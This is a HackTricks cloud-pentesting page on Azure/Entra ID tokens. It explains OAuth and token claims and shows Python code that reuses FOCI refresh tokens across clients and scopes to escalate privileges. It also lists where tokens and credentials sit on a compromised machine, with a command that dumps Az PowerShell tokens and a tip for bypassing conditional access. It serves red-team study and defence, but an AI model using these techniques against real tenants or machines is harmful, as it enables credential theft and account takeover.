Az - Tokens & Public Applications
Reading time: 11 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources.
OAuth
Key Participants in OAuth 2.0:
- Resource Server (RS): Protects resources owned by the resource owner.
- Resource Owner (RO): Typically an end-user who owns the protected resources.
- Client Application (CA): An application seeking access to resources on behalf of the resource owner.
- Authorization Server (AS): Issues access tokens to client applications after authenticating and authorizing them.
Scopes and Consent:
- Scopes: Granular permissions defined on the resource server that specify access levels.
- Consent: The process by which a resource owner grants a client application permission to access resources with specific scopes.
Microsoft 365 Integration:
- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications.
- These applications are deeply integrated and often have interdependent service relationships.
- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications.
- Implied Consent: Certain applications are automatically granted access to specific scopes without explicit user or administrator approval.
- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces.
Client Application Types:
- Confidential Clients:
- Possess their own credentials (e.g., passwords or certificates).
- Can securely authenticate themselves to the authorization server.
- Public Clients:
- Do not have unique credentials.
- Cannot securely authenticate to the authorization server.
- Security Implication: An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application.
Authentication Tokens
There are three types of tokens used in OIDC:
- Access Tokens: The client presents this token to the resource server to access resources. It can be used only for a specific combination of user, client, and resource and cannot be revoked until expiry - that is 1 hour by default.
- ID Tokens: The client receives this token from the authorization server. It contains basic information about the user. It is bound to a specific combination of user and client.
- Refresh Tokens: Provided to the client with access token. Used to get new access and ID tokens. It is bound to a specific combination of user and client and can be revoked. Default expiry is 90 days for inactive refresh tokens and no expiry for active tokens (be from a refresh token is possible to get new refresh tokens).
- A refresh token should be tied to an
aud
, to some scopes, and to a tenant and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with FOCI applications tokens. - A refresh token is encrypted and only Microsoft can decrypt it.
- Getting a new refresh token doesn't revoke the previous refresh token.
- A refresh token should be tied to an
warning
Information for conditional access is stored inside the JWT. So, if you request the token from an allowed IP address, that IP will be stored in the token and then you can use that token from a non-allowed IP to access the resources.
Access Tokens "aud"
The field indicated in the "aud" field is the resource server (the application) used to perform the login.
The command az account get-access-token --resource-type [...]
supports the following types and each of them will add a specific "aud" in the resulting access token:
caution
Note that the following are just the APIs supported by az account get-access-token
but there are more.
aud examples
- aad-graph (Azure Active Directory Graph API): Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD).
https://graph.windows.net/
- arm (Azure Resource Manager): Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more.
https://management.core.windows.net/ or https://management.azure.com/
- batch (Azure Batch Services): Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud.
https://batch.core.windows.net/
- data-lake (Azure Data Lake Storage): Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service.
https://datalake.azure.net/
- media (Azure Media Services): Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content.
https://rest.media.azure.net
- ms-graph (Microsoft Graph API): Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services.
https://graph.microsoft.com
- oss-rdbms (Azure Open Source Relational Databases): Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB.
https://ossrdbms-aad.database.windows.net
Access Tokens Scopes "scp"
The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to.
If a JWT is allowed to contact an specific API but doesn't have the scope to perform the requested action, it won't be able to perform the action with that JWT.
Get refresh & access token example
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List
# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])
# Perform device code flow authentication
azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)
# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)
# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)
Other access token fields
- appid: Application ID used to generate the token
- appidacr: The Application Authentication Context Class Reference indicates how the client was authenticated, for a public client the value is 0, and if a client secret is used the value is 1
- acr: The Authentication Context Class Reference claim is "0" when the end-user authentication did not meet the requirements of ISO/IEC 29115.
- amr: The Authentication method indicates how the token was authenticated. A value of βpwdβ indicates that a password was used.
- groups: Indicates the groups where the principal is a member.
- iss: The issues identifies the security token service (STS) that generated the token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
- oid: The object ID of the principal
- tid: Tenant ID
- iat, nbf, exp: Issued at (when it was issued), Not before (cannot be used before this time, usually same value as iat), Expiration time.
FOCI Tokens Privilege Escalation
Previously it was mentioned that refresh tokens should be tied to the scopes it was generated with, to the application and tenant it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended.
Moreover, this is possible with all refresh tokens in the Microsoft identity platform (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the docs mention: "Refresh tokens are bound to a combination of user and client, but aren't tied to a resource or tenant. A client can use a refresh token to acquire access tokens across any combination of resource and tenant where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
Moreover, note that the FOCI applications are public applications, so no secret is needed to authenticate to the server.
Then known FOCI clients reported in the original research can be found here.
Get different scope
Following with the previous example code, in this code it's requested a new token for a different scope:
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
Get different client and scopes
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
Where to find tokens
From an attackers perspective it's very interesting to know where is it possible to find access and refresh tokens when for example the PC of a victim is compromised:
- Inside
<HOME>/.Azure
azureProfile.json
contains info about logged in users from the pastclouds.config contains
info about subscriptionsservice_principal_entries.json
contains applications credentials (tenant id, clients and secret). Only in Linux & macOSmsal_token_cache.json
contains contains access tokens and refresh tokens. Only in Linux & macOSservice_principal_entries.bin
and msal_token_cache.bin are used in Windows and are encrypted with DPAPImsal_http_cache.bin
is a cache of HTTP request- Load it:
with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)
- Load it:
AzureRmContext.json
contains information about previous logins using Az PowerShell (but no credentials)
- Inside
C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*
are several.bin
files with access tokens, ID tokens and account information encrypted with the users DPAPI. - Itβs possible to find more access tokens in the
.tbres
files insideC:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\
which contain a base64 encrypted with DPAPI with access tokens. - In Linux and macOS you can get access tokens, refresh tokens and id tokens from Az PowerShell (if used) running
pwsh -Command "Save-AzContext -Path /tmp/az-context.json"
- In Windows this just generates id tokens.
- Possible to see if Az PowerShell was used in Linux and macSO checking is
$HOME/.local/share/.IdentityService/
exists (although the contained files are empty and useless)
- If the user is logged inside Azure with the browser, according to this post it's possible to start the authentication flow with a redirect to localhost, make the browser automatically authorize the login, and receive the resh token. Note that there are only a few FOCI applications that allow redicet to localhost (like az cli or the powershell module), so these applications must be allowed.
- Another option explained in the blog is to use the tool BOF-entra-authcode-flow which can use any application because it'll get the OAuth code to then get a refresh token from the title of the final auth page using the redirect URI
https://login.microsoftonline.com/common/oauth2/nativeclient
.
- Another option explained in the blog is to use the tool BOF-entra-authcode-flow which can use any application because it'll get the OAuth code to then get a refresh token from the title of the final auth page using the redirect URI
References
- https://github.com/secureworks/family-of-client-ids-research
- https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.